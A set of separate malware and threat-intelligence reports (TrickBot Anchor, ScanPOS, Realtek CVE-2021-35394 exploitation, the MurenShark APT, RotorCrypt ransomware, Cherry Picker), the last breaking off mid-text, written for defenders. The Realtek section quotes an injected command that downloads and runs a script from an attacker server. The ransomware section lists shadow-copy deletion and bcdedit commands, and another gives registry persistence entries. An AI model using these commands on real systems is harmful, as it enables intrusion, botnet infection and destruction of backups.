- anchorInstaller
- anchorDeInstaller
- AnchorBot
- Bin2hex
- psExecutor
- memoryScraper
This structure is designed to secretly upload the malware and clean up all the evidence of the attack. However, the ultimate goal of this innovation is unclear until we examine other modules. From looking at any TrickBot modules we can clearly understand its purpose. But when it comes to Anchor we see a combination of functionality, tools, and methods. What is out of the question, however, is the sophistication of this technology including an integrated methodology of loading such frameworks as Metasploit, Cobalt Strike, TerraLoader, and PowerShell Empire to perform further victim post-exploitation.
The Anchor project combines a collection of tools — from the initial installation tool to the cleanup meant to scrub the existence of malware on the victim machine. In other words, Anchor presents as an all-in-one attack framework designed to compromise enterprise environments using both custom and existing toolage.
As described earlier, TrickBot modules are customer-based, designed for the needs of a specific criminal activity. The Anchor project is a complex and stealthy tool for targeted data extraction from secure environments and long-term persistency. Logically, this tool will be a very tempting acquisition for high-profile, possibly nation-state groups. However, the Anchor is also used for large cyber heists and point-of-sale card theft operations leveraging its custom card scraping malware. Among the nation-state groups, only a few are interested in both data collection and financial gain, and one of them is Lazarus.
Lazarus Group (also known as “Lazarus,” “Hidden Cobra,” and “Kimsuky”) is an advanced persistent threat (APT) group comprised of operators from “Bureau 121” (121국), the cyber warfare division of North Korea’s RGB. The group has been active since at least 2009 and is presumed to operate out of a multitude of international locations.
Lazarus appears to have been interested in a variety of sectors and targets in the last eighteen months, including cryptocurrency exchanges, financial institutions, non-governmental organizations, and South Korean individuals. Many North Korean cyber operators are likely not only self-funded but also tasked with earning income for the North Korean regime; Lazarus Group has likely targeted banks, cryptocurrency exchanges, and users to achieve this goal.
During our investigation of Anchor, we discovered the tool PowerRatankba that was previously linked to the purported North Korean group was, in fact, used in Anchor. The specific evidence pointed out that this Lazarus group toolkit was loaded via the TrickBot Anchor project pointing to the now-unmasked relationship between the tools attributed to TrickBot “Anchor” group and Lazarus.
## Uniting the Ununitable — Crimeware Meets APT
The integration of these tools into the Anchor implies that TrickBot was able to overcome the final barrier in integrating different domains into its model. By integrating the APT approach to its model, the group turned its enterprise into a holistic ecosystem of cybercrime, becoming an essentially new phenomenon. In this ecosystem, crimeware and APT are no longer siloed; on the opposite, each type of crime creates added value for the other, each becomes a force multiplier.
## Conclusion: The Deadly Planeswalker
The Anchor is not simply a new addition to a long list of TrickBot modules and projects; it is a conclusion of many years of cybercrime evolution, a point at which all puzzles assemble. Through its history, TrickBot was adding new markets to its area of operations, steadily conquering the cybercrime world. First, it blurred the line between infostealing and bankers, then between trojans and ransomware, and between financial fraud and malware.
Through the history of cybercrime, APT was a Kantian “thing-in-itself”; making it an integral part of a broader business model required a technical and organizational revolution. With the Anchor project, TrickBot became this revolutioner. TrickBot and Dridex groups remained to be some of the most sophisticated crimeware groups since “Business Club.” While Dridex’s “Evil Corp” members were publicly charged and outed responsible for over $100 million in losses, the TrickBot group continued to innovate and stay active with more diverse crimeware models than Dridex.
The ability to seamlessly integrate the APT into a monetization business model is evidence of a quantum shift. By accomplishing this integration, TrickBot overtly demonstrates that they have achieved a qualitatively new level of a cybercrime enterprise, which was never seen before in magnitude and complexity, superseding and dethroning the legacy of its previous inspiration and its playground known as “Business Club.” |
# ScanPOS: New POS Malware Being Distributed by Kronos
Just in time for the holidays, a brand new Point Of Sale (POS) malware family has been discovered. Booz Allen responded to a Kronos phishing campaign that involved a document with a malicious macro that downloaded the Kronos banking malware. When running, the Kronos payload will download several other pieces of malware, but the one that caught our eye is a new credit card dumper with very low detection. Booz Allen is tracking this malware under the name ScanPOS due to the build string present in the malware.
At the time of this writing, ScanPOS only scored 1/55 on Virustotal. While not extraordinarily impressive or unique, it is a new family. It performs the same basic tasks that all other POS malware performs, yet sneaks by almost every developed detection technique. ScanPOS does little in terms of evading detection, which can help it blend in a production environment. When code is heavily packed, it will often get picked up by generic heuristics.
## Phish
The Kronos phish that was delivering the malware was a very basic email with the following body:
An Employee has just been terminated.
Name: Tanner Williamson
Employee profile: EmployeeID-6283.doc
Emplid: 2965385
Rcd#: 0
Termination Date: 11/17/2016
Relevant headers are below:
TIME-STAMP: "16-11-14_13.44.23"
CONTENT-DISPOSITION: "attachment; filename='EmployeeID-6283.doc'"
X-VIRUS-SCANNED: "Debian amavisd-new at hosting5.skyinet.pl"
Subject: An Employee has just been terminated.
From: HR <[email protected]>
Mail-From: [email protected]
1st rec: hosting23.skyinet.pl
2nd rec: hosting23.skyinet.pl
When enabling the macro on EmployeeID-6283.doc, the macro will download profile.excel-sharepoint[.]com/doc/office.exe (Kronos Payload) and execute it. Kronos will then download and execute ScanPOS from networkupdate[.]online/kbps/upload/a8b05325.exe.
## Credit Card Dumping
On execution, the malware will grab information about the current process and get the user (calling GetUserNameA). Privileges are checked to ensure that the malware has the ability to peek into other processes’ memory space by checking for SeDebugPrivilege.
The malware will then enter an infinite loop, padded with sleeps, to dump process memory on the box to search for credit card track data. During this loop, the malware iterates processes using Process32FirstW/Process32Next from a process list obtained via CreateToolhelp32Snapshot. The iterator obtains a handle to the process by using OpenProcess, which is then checked against a basic whitelist, to avoid unnecessary system processes.
If the name of the process passes a check against the whitelist, the malware will continue to get process memory information by calling VirtualQueryEx and then eventually fall to ReadProcessMemory.
Once process memory is obtained, the scanning for credit card track data can begin. The main logic behind this is in function 0x4026C0. The logic starts with basic sentinel checks and a starting number of 3, 4, 5, or 6.
The malware will use a custom search routine (rather than regex) to find potential numbers. After the malware does several checks for credit card information, it will pass the potential candidate to Luhn’s algorithm for basic validation. When it finds a potential candidate that passes Luhn’s, it will continue searching for numbers (anything between 0 and 9) until it hits a “?” marking the end of the track data.
## Network Connectivity
Once the potential card numbers are found, the information is sent via HTTP POST to invoicesharepoint[.]com.
## Conclusion
ScanPOS is being distributed through an active campaign. With only 1 anti-virus engine flagging this executable as malicious, this family helps show the constant pressure that AV vendors face while trying to stay ahead of the curve. Being distributed in a macro is a simple technique that has been covered in detail in many different blog posts and may have helped this family hide a little bit in the noise.
## Indicators of Compromise
| Indicator | Type | Notes |
|------------------------------------------------|------------|--------------------------------------------|
| invoicesharepoint.com | Domain | ScanPOS C2 & data dump (46.45.171.174) |
| /gateway.php | URI | ScanPOS C2 POST uri |
| networkupdate.online | Domain | Office.exe (Kronos) Downloads (46.45.171.174) |
| www.networkupdate.club | Domain | Office.exe (Kronos) C2 (46.45.171.174) |
| profile.excel-sharepoint.com | Domain | Dropper DL site from phish (211.110.17.192) |
| 939fcb17ebb3aa7dd57d62d36b442778 | MD5 | Phish doc: EmployeeID-6283.doc |
| 11180b265b010fbfa05c08681261ac57 | MD5 | Office.exe (Kronos) |
| 6fcc13563aad936c7d0f3165351cb453 | MD5 | POS malware: (Kronos DL) a8b05325.exe |
| 73871970ccf1b551a29f255605d05f61 | MD5 | (Kronos DL) 1f80ff71.exe |
| f99d1571ce9be023cc897522f82ec6cc | MD5 | (Kronos DL) c1c06f7d.exe |
| /kbps/connect.php | URI | Kronos C2 traffic |
| /kbps/connect.php?a=1 | URI | Kronos C2 traffic |
| /kbps/upload/c1c06f7d.exe | URI | Kronos Trj DL [a-z0-9],{8}.exe |
| [email protected] | email | From address |
| [email protected] | email | Mail-From address |
| ftp.itmy520.com | Domain | Found in 73871970ccf1b551a29f255605d05f61 | |
# RealTek CVE-2021-35394 Exploited in the Wild
By August 27, 2021
Juniper Threat Labs has detected that the threat actors that we recently observed exploiting CVE-2021-20090 are now actively exploiting CVE-2021-35394, a vulnerability disclosed last week by IoT Inspector Research Lab. This attack targets the Realtek RTL8xxx SoC chipsets that are used in many embedded devices, particularly wireless routers. At the time of this writing, all of the download servers used in this campaign are online and the attacks are ongoing.
## The Attack
One of the Realtek vulnerabilities disclosed last week concerns a UDP server running on port 9034. In 2015, Peter Adkins found that certain D-Link routers were running a UDP server that allowed remote execution of arbitrary commands. This vulnerability was ostensibly patched, but IoT Inspector Research Lab found that the fix was simply to verify that all command strings had the prefix “orf”. This mitigation is easily circumvented by prepending “orf;” to any injected command string: `orf;malicious_command`.
Exploits require only a single UDP packet from the attacker. Each observed variant of this attack follows the same steps. First, the attackers use the open UDP server to inject a shell command:
The injected command, seen in the data field above, is:
`orf;cd /tmp||cd /var&&busybox wget hxxp://45[.]61.188.184/f.sh -O b.sh&&sh b.sh;#`
The invalid “orf” command is ignored and a shell script is downloaded, renamed, and executed. The following is an example of these shell scripts:
This script attempts to download and run binary executables on the compromised host. Targeted architectures include:
- ARM (v5 and v7)
- MIPS (both big- and little-endian)
- SuperH
The downloaded executables are variants of Mirai and turn the target computer into a remotely controllable bot in the threat actors’ botnet. We have observed an overlap between the IP addresses in this campaign and those in the campaign described in a recent Juniper Threat Labs blog post. However, unlike the previous attacks over HTTP, the connectionless nature of UDP allows the threat actors to launch more attacks with fewer resources.
## Other Vulnerabilities
This discovery follows SAM Seamless Network’s blog post last week on these threat actors exploiting another Realtek vulnerability disclosed by IoT Inspector Research Lab. As many Realtek RTL8xxx-based devices remain unpatched, we expect to see continuing attacks as more of these vulnerabilities are weaponized.
## Detection
This attack is detected on Juniper SRX devices as APP:MISC:REALTEK-JUNGLE-SDK-CI. The malicious files and servers used in this attack are blocked by the Juniper Advanced Threat Protection products.
## IOCs
**Files:**
- daef5417dd163c2d2600382a484b36f594378d909ce54e5348b0c7dd1326c57d
- 1ce6590f632d1b37c77feefe60ef632c315357ddde632c0a0aab78c69616a5b4 f.sh
- 0018e361be72a44b7b38bbecfede8d571418e56d4d62a8e186991bef322a0c16 b.arm5
- 171961046ee6d18424cf466ad7e01096aecf48ed602d8725e6563ad8c61f1115 b.arm7
- 924b6aec8aa5935e27673ee96d43dd0d1b60f044383b558e3f66cd4331f17ef4 b.mips
- 98fc6b2cbd04362dc10a5445c00c23c2a2cb39d24d91beab3c200f87bfd889ab b.mpsl
- 9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4 b.sh4
- 555ae4193c53af15bdcd82d534ed5f13fcc96c16c59b9e8072b5b122c6df8d4a fbot.mips
- 2bfca0726b9109ab675e6bdbe0fb81e80fbf7ee6af2f129672569e5476e57b47 fbot.mpsl
**Attackers:**
- 45[.]137.23.190
- 185[.]222.59.5
- 103[.]145.13.80
- 103[.]145.13.25
**Download servers:**
- 45[.]61.188.184
- 37[.]0.11.132 |
# 新APT组织穆伦鲨(MurenShark)调查报告:袭向土耳其海军的鱼雷
## 一、概述
2022年第二季度,绿盟科技伏影实验室监测到了一系列针对土耳其的网络攻击活动。经过分析,研究人员确认本轮攻击活动来自一个由伏影实验室于21年4月确认的新型威胁实体Actor210426。伏影实验室通过行为模式、攻击手法、攻击工具、攻击目标等线索,对该威胁实体进行了深入调查,确认了其独立性与高级威胁性质。
基于该威胁实体的活动区域与近期攻击目标(土耳其海军项目“MÜREN”),伏影实验室将其正式命名为穆伦鲨(MurenShark),对应绿盟科技高级威胁组织标识为APT-N-04。已监测活动中,穆伦鲨的主要目标区域包括土耳其和北塞浦路斯地区,攻击范围覆盖高校、研究所和军队等领域的多个敏感目标,尤其对军工项目展现明显的兴趣,已经实施了成功的网络间谍活动。
穆伦鲨组织人员具有丰富的对抗经验,擅长反分析和反溯源。调查显示,已暴露的攻击活动只是该组织行动的冰山一角,攻击目标与攻击组件方面不连续的迭代轨迹说明该组织的大量活动仍隐藏在迷雾当中。本报告将分享该组织的各维度特征,与已知APT组织的关系、以及伏影实验室在调查过程中的其他发现。
## 二、组织信息
穆伦鲨组织是一个活跃于中东地区的新型威胁实体,主要攻击目标国家为土耳其,已发现的目标包括北塞浦路斯地区高校、土耳其军队和土耳其国家科研机构。穆伦鲨的主要攻击手法包括投递钓鱼文档与攻击线上服务,直接目的包括扩充攻击资源、渗透目标网络、窃取关键数据。该组织已知的鱼叉式攻击最早出现在2021年4月,对高校网站的入侵行为则早于该日期。
穆伦鲨具有丰富的对抗经验,擅长的手段包括通过跳板节点隐藏攻击者信息、通过组件拆分阻碍流程复现、使用第三方方案减少代码特征等。穆伦鲨在已实施的活动中较好地隐藏了攻击者信息,目前尚无法确认该组织的地域归属。
## 三、攻击技术矩阵
下图展示了穆伦鲨的攻击技术矩阵,包含该组织攻击者和开发者掌握的能力以及该组织借助第三方工具实现的能力。
## 四、典型活动
穆伦鲨并不是一个很活跃的攻击者,其攻击活动分布具有明显的聚集性。穆伦鲨最近的一轮活动集中在今年8月上旬,攻击者投递了多种形式的土耳其语钓鱼文档,对土耳其特定目标进行攻击。
该轮攻击活动中出现的钓鱼文档带有如下文件名:
第一种钓鱼文档显示的标题为“关于 MÜREN 关键设计文档的意见”,抬头部分显示文档来自“海军司令部第一潜艇舰队TCG萨卡里亚号指挥部”。该文档详细记录了土耳其海军对一种名为“MÜREN”的潜艇内系统的修改意见,文档日期显示为2022年六月。
另一类钓鱼文档显示的标题为国家生产综合水下作战管理系统预级应用项目MÜREN-PREVEZE,显示该文档来自土耳其科技研究院信息学与信息安全先进技术研究中心(TÜBİTAK BİLGEM)。该钓鱼文档对应一种名为“MÜREN-PREVEZE”的软件系统的说明文件。
查询相关关键词后,伏影实验室确定上述两种文档来自土耳其军方项目“MÜREN”。这是一种在潜艇上搭载的水下作战管理系统(CMS),由土耳其科技研究院TÜBİTAK设计,并已在21年测试完成,在22年提供给土耳其海军司令部。土耳其海军对MÜREN项目给予很大期望,认为该项目能够推动土耳其海军系统国产化,并成为土耳其国家级潜艇项目“MILDEN”的关键一步。
由此可以推断,穆伦鲨在8月上旬的活动主要目标为“MÜREN”项目的相关人员,包括土耳其科技研究院的项目设计人员与土耳其海军的项目审核人员。通过目前已掌握的信息,伏影实验室无法判断本轮攻击是否已达成预定目的,但从诱饵文档的内容可以看出,穆伦鲨已通过其他攻击活动成功入侵土耳其科技研究院内部并已窃取高价值的文档内容。
穆伦鲨在更早的攻击活动中展现了完全不同的攻击倾向。在伏影实验室已报道的一轮攻击活动中,该组织使用一种与多吉币(Dogecoin)相关的报告文档作为诱饵,对虚拟货币的关注者进行了钓鱼攻击。除诱饵文档发现地区为土耳其外,穆伦鲨在该活动中未暴露其他信息。
受国家经济政策影响,加密货币行业在土耳其热度极高。结合组织活动轨迹,伏影实验室推断该类钓鱼攻击是穆伦鲨组织粗精度钓鱼活动的一部分,主要目标同样为土耳其。黑客组织通常会依靠此类具有高话题度的诱饵文档,进行大范围的信息收集活动,再从获取的情报中筛选高价值信息。
## 五、典型攻击流程
穆伦鲨频繁使用一种具有代表性的攻击流程,并持续对该流程和其中的组件进行改良。下图展示了该组织在21年的活动中使用的典型流程。
该攻击流程由穆伦鲨的三种主要攻击组件NiceRender、UniversalDonut、LetMeOut、失陷站点neu.edu.tr、以及第三方攻击工具CobaltStrike组成,最终实现窃取受害者主机中的数据、以及在受害者主机所在域内进行横向移动的目的。
下图展示该组织在近期针对土耳其海军与科研机构的攻击活动中使用的改进型流程。该流程同样由三种主要组件以及相同的失陷站点组成。区别在于穆伦鲨攻击者在该流程中使用了新型NiceRender文件,同时进一步缩短了流程的生命周期,这些操作使沙箱类安全产品难以复现完整执行过程。
## 六、攻击手法特征
### 利用失陷站点
穆伦鲨在攻击流程中倾向于使用失陷站点作为文件服务器与CnC服务器。如典型攻击流程章节所示,该组织在各时期的活动中都使用了近东大学(Yakın Doğu Üniversitesi)的官网作为远程服务器。近东大学是一所私立高校,位于北塞浦路斯地区。已知的攻击流程表明,穆伦鲨已经控制近东大学官方网站服务器超过一年,在网站多个位置寄放了木马程序、运行了LetMeOut木马服务端程序,甚至还部署了CobaltStrike渗透平台的服务器用于对受害者进行持续控制。
虽然拥有此类攻击资源,但穆伦鲨对失陷站点的使用整体比较克制,这些站点在绝大多数时间内处于静默状态,并未被交易或被滥用。穆伦鲨对失陷站点的这种利用方式,有效地隐藏了组织痕迹,并延长了资源的可用周期。
### 组件行为细分
穆伦鲨在设计流程时,遵循一种特别的行为拆分思路。例如,该组织近期使用的NiceRender新版本攻击组件,将恶意文档的常规功能拆分成了两部分,A部分被设计成一种宏代码读取器和注入器,B部分则被设计成宏代码载体和注入载体,A需要通过网络连接获取B,从而运行完整组件行为。
再如,该组织常用的LetMeOut木马程序也会将其下载功能拆分成两部分。木马首先向CnC上传木马信息与受害者主机信息,收到服务器确认信息后再通过计算获得后续载荷的下载路径。这些细分的组件行为也对取证分析、攻击过程还原等工作造成了干扰,大量的交互机制有效保护了流程中的网络资源与攻击组件,降低了暴露几率。
## 七、已知攻击工具
### NiceRender
该工具是一种具有特定执行模式的恶意宏类型文档,穆伦鲨攻击者使用该工具制作各种钓鱼文档,用作攻击活动的初始载荷。该工具目前出现了两个版本。
#### NiceRender Ver.1
早期版本的NiceRender包括三个功能部分,分别为诱饵解码、上线通知与载荷释放。
1. **诱饵解码**
NiceRender与其他常见钓鱼文档的最大区别在于,该组件会使用一种独特的逻辑将文档内文字内容转码成乱码字符,并在执行上述阶段后对这些乱码文字进行解码,给受害者传递一种加密文档确实进行了解密的错觉,从而增加此类钓鱼文档的可信度。
2. **上线通知**
该版本的NiceRender带有一种特殊的操作,会在宏代码运行时通过网络对攻击者进行通知。这种通知操作通过DNS解析机制实现。NiceRender制作者首先注册名为“cachedns.io”的域名,并且将该域的解析服务器绑定至自身。
3. **载荷释放**
NiceRender随后读取文档内特定对象中的文字信息,获取一个PE文件并保存至%LOCALAPPDATA%\Microsoft\EdgeFss\FileSyncShell64.dll。该PE文件即UniversalDonut木马程序。
### UniversalDonut
穆伦鲨攻击者频繁使用一种dll形式的木马程序作为其攻击过程中的过渡组件,伏影实验室根据该组件的关键信息将其命名为UniversalDonut。UniversalDonut是一种shellcode加载器类型的木马程序。木马执行后首先检测以下项目:
1. 检测父进程名称是否为c:\windows\system32\taskhost.exe;
2. 检测自身是否为高权限进程。
检测通过后,木马使用多字节异或算法解密资源段中包含的一段shellcode并运行。UniversalDonut搭载的shellcode是由开源框架Donut生成的完整载荷。借助该框架,UniversalDonut可以在shellcode执行阶段实现大量对抗功能,包括Chaskey算法加密、AMSI/WDLP绕过、连通性检测等。
### LetMeOut
LetMeOut是一种.Net下载者木马程序,搭载了独特的保险机制。穆伦鲨在入侵流程中多次使用该木马。LetMeOut木马的主要代码逻辑分为两部分:
程序首先确认目录%LOCALAPPDATA%\Microsoft\EdgeFss\下是否存在名为FileSyncShell64.dat的二进制文件,如果发现该文件,则使用多字节异或算法和gzip压缩算法对文件进行解密和解压缩,随后载入内存中运行。
如果指定目录下未发现名为FileSyncShell64.dat的文件,木马会指定CnC地址进行http通信,并在http参数部分附加三段信息,随后,程序进行第二次http请求,获取一个通过计算得到的hash路径中的内容。
### CobaltStrike
穆伦鲨使用著名的CobaltStrike渗透平台对已入侵成功的主机进行管理,通过CobaltStrike Beacon木马程序完成横向移动与窃密等操作。
## 八、关联调查
针对土耳其科技研究院的攻击,伏影实验室对调查发现,穆伦鲨的主要目标之一的土耳其科技研究院(TÜBİTAK)并非是第一次受到此类攻击。相反,作为承接了大量土耳其国家项目的顶级科研单位,该科技研究院是各种黑客行为乃至APT活动的重点受害者。
一类多发的针对该机构的攻击以钓鱼邮件的形式发起,攻击者使用压缩包附件、漏洞文档等常见载荷,向tubitak.gov.tr邮箱用户投递AgentTesla等窃密木马,收集受害者主机上的文件、凭证和浏览器缓存数据。
发现该线索后,伏影实验室对穆伦鲨和MuddyWater的可能关系展开了调查。伏影实验室复盘了MuddyWater针对土耳其科技研究院的已知活动和在野样本,在以下维度与穆伦鲨活动进行比对:
通过对比可以看出,穆伦鲨与MuddyWater在特征上的差异大于共性。两者在攻击目标选择、初始阶段组件部分展现出相似性,但后续执行流程则没有重叠。
## 九、总结
穆伦鲨是一个针对土耳其的新型APT组织。伏影实验室通过调查分析,挖掘了该组织的主要活动和主要技术、确定了其独立性和APT属性。调查结果显示,该组织具有明确的攻击目标和丰富的对抗经验,也保留了大量谜团等待解答。
中东地区复杂的国际关系催生了大量APT组织,多个组织具有对土耳其的攻击历史。穆伦鲨究竟是浊浪过后的潺潺细流,还是深埋之下的暗流涌动,目前尚未可知。伏影实验室将持续关注该组织的活动和变化。
## 十、IoCs
- NiceRender ver.1
- 0a286239b3fe2e44545470e4117f66eb
- 88bba0077207359cdb9bddb3760f1f32
- 423cff633679c5dc1bfb27b4499eb171
- NiceRender ver.2 partA
- 3592e56022ce1d87000e36cc0dd37d0e
- bb9e1f1e5ef6f3f9f8de6d12d626c435
- 11a5c681e108cf84a2cc669e8204ac53
- 0a768a5c9f4714f7ca92545baf9f72c9
- a92c6617aa28d4041c44f4b9cc3a5fa3
- 9a31e7918ae4de42c28d67e711802f58
- NiceRender ver.2 partB
- 07e4844bde106bb6786e9e767d376408
- 9a0889667c89e592914e74916fd1ec56
- 468b3eaf031b5aef98b34b5ce39facad
- c0f37db18293732872643994e12a4ad2
- 44da01a0a636a6fa3141c698f3bb2673
- UniversalDonut
- e6c1685e504fe1d05aa365c79a5e0231
- 32704a3fb28508e3b15bbbd28716ec76
- dc60577efe1d18c05b7c90853bac4c86
- 349341fe3519a81c0178c5840009cf87
- LetMeOut
- 156e197d7838558f44eed800b3b3ee8a
- 0f5b520120008ca6969ccad439020f98
- d509145bcf4e6af3de1a746609c23564
- CobaltStrike Beacon
- e4b353f731739487dd48e322bf540405
## 声明
本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。 |
# RotorCrypt (RotoCrypt) Ransomware
## Информация о шифровальщике
Этот крипто-вымогатель шифрует данные пользователей и серверов организаций с помощью RSA, а затем требует связаться с вымогателями по email, чтобы вернуть файлы. За возвращение файлов в нормальное состояние вымогатели требуют выкуп в 7 биткоинов, 2000-5000 долларов или евро. Аппетит обнаглевших от безнаказанности вымогателей растёт не по дням, а по часам.
### Обнаружения:
- Dr.Web: Trojan.Encoder.5342, Trojan.Encoder.29037
- BitDefender: Gen:Variant.Razy.109164, Gen:Variant.Ransom.RotorCrypt.1, Trojan.Ransom.RotorCrypt.A, Trojan.GenericKD.12470370, Gen:Variant.Ransom.RotorCrypt.2
- Kaspersky: Trojan-Ransom.Win32.Rotor.*, HEUR:Trojan.Win32.Generic
К зашифрованным файлам добавляются составные расширения по шаблону:
`<file_name>.<file_extension><ransom_extension>`
На данный момент это расширения .c400, .c300 на конце файла и email вымогателей перед ними:
`[email protected]____.c400`
`[email protected]____.c400`
`[email protected]____.c300`
Таким образом файл Document.doc после шифрования станет:
`[email protected]____.c400`
`[email protected]____.c400`
`[email protected]____.c300`
Активность этого крипто-вымогателя пришлась на конец октября - ноябрь 2016 г., но продолжилась и в 2017-2019 годах с другими расширениями.
Записки с требованием выкупа называются:
`readme.txt` или `***readme.txt`
Содержание записки о выкупе (из версии Tar):
Good day
Your files were encrypted/locked
As evidence can decrypt file 1 to 3 1-30MB
The price of the transcripts of all the files on the server: 7 Bitcoin
Recommend to solve the problem quickly and not to delay
Also give advice on how to protect Your server against threats from the network
(Files sql mdf backup decryption strictly after payment)!
Перевод записки на русский язык:
Добрый день
Ваши файлы зашифрованы / заблокированы
Как доказательство можем расшифровать файл 1 до 3 1-30MB
Стоимость расшифровки всех файлов на сервере: 7 Bitcoin
Рекомендуем решить эту проблему быстро и без задержки
Кроме того, дадим советы о том, как защитить свой сервер от угроз из сети
(Файлы sql mdf backup дешифруем только после оплаты)!
### Email вымогателей:
- [email protected]
- [email protected]
- [email protected]
### Технические детали
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, эксплойтов, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Удаляет теневые копии файлов, отключает функции восстановления и исправления Windows на этапе загрузки командами:
`vssadmin.exe delete shadows /all /Quiet`
`bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures`
`bcdedit.exe /set {current} recoveryenabled no`
### Список файловых расширений, подвергающихся шифрованию:
`.1cd, .avi, .bak, .bmp, .cf, .cfu, .csv, .db, .dbf, .djvu, .doc, .docx, .dt, .elf, .epf, .erf, .exe, .flv, .geo, .gif, .grs, .jpeg, .jpg, .lgf, .lgp, .log, .mb, .mdb, .mdf, .mxl, .net, .odt, .pdf, .png, .pps, .ppt, .pptm, .pptx, .psd, .px, .rar, .raw, .st, .sql, .tif, .txt, .vob, .vrp, .xls, .xlsb, .xlsx, .xml, .zip` (53 расширения).
Расширений может быть больше, в основном это файлы документов MS Office, изображения, архивы, базы данных, в том числе российского ПО 1C-Бухгалтерия, а также R-Keeper, Sbis и пр. Шифрованию подвержены общие сетевые ресурсы (диски, папки).
### Файлы, связанные с RotorCrypt Ransomware:
- iuy.exe
- <random_name_8_chars>.exe
- <random_name_8_chars>___.exe
- DNALWmjW.exe и другие
- GWWABPFL_Unpack.EXE
- <random_name_8_chars>.lnk
- jHlxJqfV.lnk и другие
### Расположения:
- `%TEMP%\<random_name_8_chars>.exe`
- `C:\Users\User_name\AppData\local\<random_name_8_chars>.exe`
- `C:\Users\User_name\Desktop\<random_name_8_chars>.exe`
- `C:\GWWABPFL_Unpack.EXE`
- `%LOCALAPPDATA%\Microsoft Help\DNALWmjW.exe`
- `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\jHlxJqfV.lnk`
### Записи реестра, связанные с RotorCrypt Ransomware:
См. ниже гибридные анализы.
### Результаты анализов по версиям:
Гибридный анализ на Tar
Гибридный анализ для ELIZABETH
Гибридный анализ для LIKBEZ
Гибридный анализ на GEKSOGEN
VirusTotal анализ на Tar
VirusTotal анализ для ELIZABETH
VirusTotal анализ для LIKBEZ
VirusTotal анализ на GEKSOGEN
### Степень распространённости: средняя.
Подробные сведения собираются. |
# Shining the Spotlight on Cherry Picker PoS Malware
## Introduction
For the last five years, Trustwave has been monitoring a threat across a number of forensic cases that we have dubbed "Cherry Picker." This targeted Point of Sale (PoS) memory scraper has enjoyed a very low detection rate in the wild for quite some time. Cherry Picker uses a new memory scraping algorithm, a file infector for persistence, and cleaner malware that removes all traces of the infection from target systems. This sophisticated functionality and highly targeted victims have helped the malware remain under the radar of many AV and security companies. This post will expose the functionality of Cherry Picker and hopefully help organizations provide protection from this threat.
## The Past
In 2011, Trustwave's forensic analysts worked on a case involving several pieces of malware that worked in concert to obtain Card Holder Data (CHD) from the memory of the target process.
**Filename**: searcher.dll
**Hash**: B532B2C489EC2989AA976151D9E3878323B9AAD20AF0DC8538F1B30379449162
**Date**: 2009-11-05 20:12:18
**Filename**: sr.exe
**Hash**: E81D12CB40A32A233780328D0BB73598D393C47049847DBBA24881DE034BF938
**Date**: 2009-11-05 20:12:12
Sr.exe is a command line interface that accepts n Process IDs (PID) and injects the searcher.dll into each process. Searcher.dll looks for CHD in the injected process and writes out the found data to a plain text file in the %WINDIR%\system32\Data.txt directory. These samples are fairly well detected, with both files being flagged by a large number of AVs as a generic banking Trojan or Point of Sale (PoS) memory scraper. However, this tool set never seems to be alone on the system. Our investigations have found it being used with, or embedded in, an AutoIt script. TrendMicro found it in use with another PoS memory scraper called Rdasrv. Trustwave's malware researchers presented this threat at the Sector conference detailing exactly how they worked as well as including both Cherry Picker and Searcher artifacts in a SANS course: Sniper Forensics.
## Cherry Picker
Cherry Picker is a set of malware that has also been seen on systems in conjunction with searcher.dll; however, unlike Searcher, it has gone largely unnoticed by the AV and security community. While Searcher has remained unchanged on the various cases it has been seen on, Cherry Picker has undergone consistent improvement over the years. There have essentially been three versions of the main malware:
**Filename**: Pserver32.dll
**Version 1**: Hash: CB71B31AF4BC5A5D3F541BEFF87ECBFD55F24BA7AD6249484608E359D880F2DD, Date: 2009-12-05 05:12:21
**Version 2**: Hash: AC1837B37A495BEDF644A2824CD36F2BFB34CAD122C26E1FE497146A8F2A16A4, Date: 2010-03-04 13:22:59
**Version 3**: Hash: 3F366CCED9473CFBEDA0245F5817699D5BEB81D0AB4D2C81E1E3DCB7DCE7465D, Date: 2015-02-01 01:13:33
If this were a legitimate development project, these versions would be minor version updates. Each one adds a small amount of functionality to the previous version.
Before we can talk about the meat of Cherry Picker's functionality, we need to take a look at how the DLL is loaded into memory. In the searcher.dll case, sr.exe was used to inject the scraper into the memory of a target running process. No persistence was used to perform this function automatically. Cherry Picker has two different ways to install persistence. In several of the cases, a registry file was discovered that, when run, added pserver32.dll to the following registry key:
```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="pserver32.dll"
```
From the Microsoft support site:
"The AppInit_DLLs are loaded by using the LoadLibrary() function during the DLL_PROCESS_ATTACH process of User32.dll. Therefore, executables that do not link with User32.dll do not load the AppInit_DLLs. There are very few executables that do not link with User32.dll."
In order for the DLL to be loaded from the AppInit_DLLs registry key, it must be "turned on." This is accomplished by setting the following registry key to 1:
```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"LoadAppInit_DLLs"=0x00000001
```
This causes numerous applications to load the malicious DLL at startup. On the most recent case, our analysts found an additional install mechanism that greatly increased the options available to the attacker. The author upgraded sr.exe to srf.exe:
**Filename**: srf.exe
**Hash**: 7AB1F21B41134FF21476760434569383D8FD55D444DF035C900F330B13F70CBD
**Date**: 2010-03-02 16:35:23
Srf requires that the first argument match a hardcoded string ("password") in the binary. This may help it prevent AVs from marking it as malware since it exits without performing any malicious activity. Srf provides a handy usage to show what options are available to install the malware:
